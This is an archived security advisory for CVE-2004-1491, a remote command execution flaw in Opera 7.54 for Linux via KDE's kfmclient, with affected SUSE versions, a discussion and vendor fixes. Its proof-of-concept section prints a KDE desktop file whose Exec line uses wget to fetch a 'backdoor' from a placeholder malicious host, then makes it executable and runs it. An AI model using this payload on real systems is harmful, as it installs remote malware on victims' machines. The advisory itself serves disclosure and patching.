Opera Web Browser KDE KFMCLIENT Remote Command Execution Vulnerability

BID:11901

Info

Opera Web Browser KDE KFMCLIENT Remote Command Execution Vulnerability

Bugtraq ID: 11901
Class: Design Error
CVE: CVE-2004-1491
Remote: Yes
Local: No
Published: Dec 13 2004 12:00AM
Updated: Jul 12 2009 08:07AM
Credit: "Giovanni Delvecchio" <[email protected]> disclosed this vulnerability.
Vulnerable: SuSE Linux 8.1
SuSE Linux 8.0 i386
SuSE Linux 8.0
SuSE Linux 7.3 sparc
SuSE Linux 7.3 ppc
SuSE Linux 7.3 i386
SuSE Linux 7.3
SuSE Linux 7.2 i386
SuSE Linux 7.2
SuSE Linux 7.1 x86
SuSE Linux 7.1 sparc
SuSE Linux 7.1 ppc
SuSE Linux 7.1 alpha
SuSE Linux 7.1
SuSE Linux 7.0 sparc
SuSE Linux 7.0 ppc
SuSE Linux 7.0 i386
SuSE Linux 7.0 alpha
SuSE Linux 7.0
SuSE Linux 6.4 ppc
SuSE Linux 6.4 i386
SuSE Linux 6.4 alpha
SuSE Linux 6.4
SuSE Linux 6.3 ppc
SuSE Linux 6.3 alpha
SuSE Linux 6.3
SuSE Linux 6.2
SuSE Linux 6.1 alpha
SuSE Linux 6.1
SuSE Linux 6.0
SuSE Linux 5.3
SuSE Linux 5.2
SuSE Linux 5.1
SuSE Linux 5.0
SuSE Linux 4.4.1
SuSE Linux 4.4
SuSE Linux 4.3
SuSE Linux 4.2
SuSE Linux 4.0
SuSE Linux 3.0
SuSE Linux 2.0
SuSE Linux 1.0
S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1 x86_64
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
Opera Software Opera Web Browser 7.54
Gentoo Linux
Not Vulnerable:

Discussion

Opera Web Browser KDE KFMCLIENT Remote Command Execution Vulnerability

It is reported that Opera for Linux is susceptible to a remote command execution vulnerability. This issue is due to a default configuration setting in Opera that utilizes the KDE 'kfmclient' utility to open unknown content.

Exploitation of this issue allows attacker-supplied commands to be executed in the context of the user running Opera.

Version 7.54 of Opera for Linux with KDE version 3.2.3 is reported vulnerable to this issue. Other versions may also be affected.

Exploit / POC

Opera Web Browser KDE KFMCLIENT Remote Command Execution Vulnerability

Example file contents have been provided:

# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c wget\thttp://malicious_site/backdoor;chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0

Solution / Fix

Opera Web Browser KDE KFMCLIENT Remote Command Execution Vulnerability

Solution:
The vendor has released fixes to address this and other issues.

Gentoo has released an advisory (GLSA 200502-17) and an updated eBuild to address this and other issues in the Opera Web Browser. This update can be installed by issuing the following sequence of commands as a superuser:
emerge --sync
emerge --ask --oneshot --verbose ">=net-www/opera-7.54-r3"

SUSE has released an advisory SUSE-SR:2005:008 to address various security issues affecting SUSE products. Please see the referenced advisory for more information.


Opera Software Opera Web Browser 7.54

References

Opera Web Browser KDE KFMCLIENT Remote Command Execution Vulnerability

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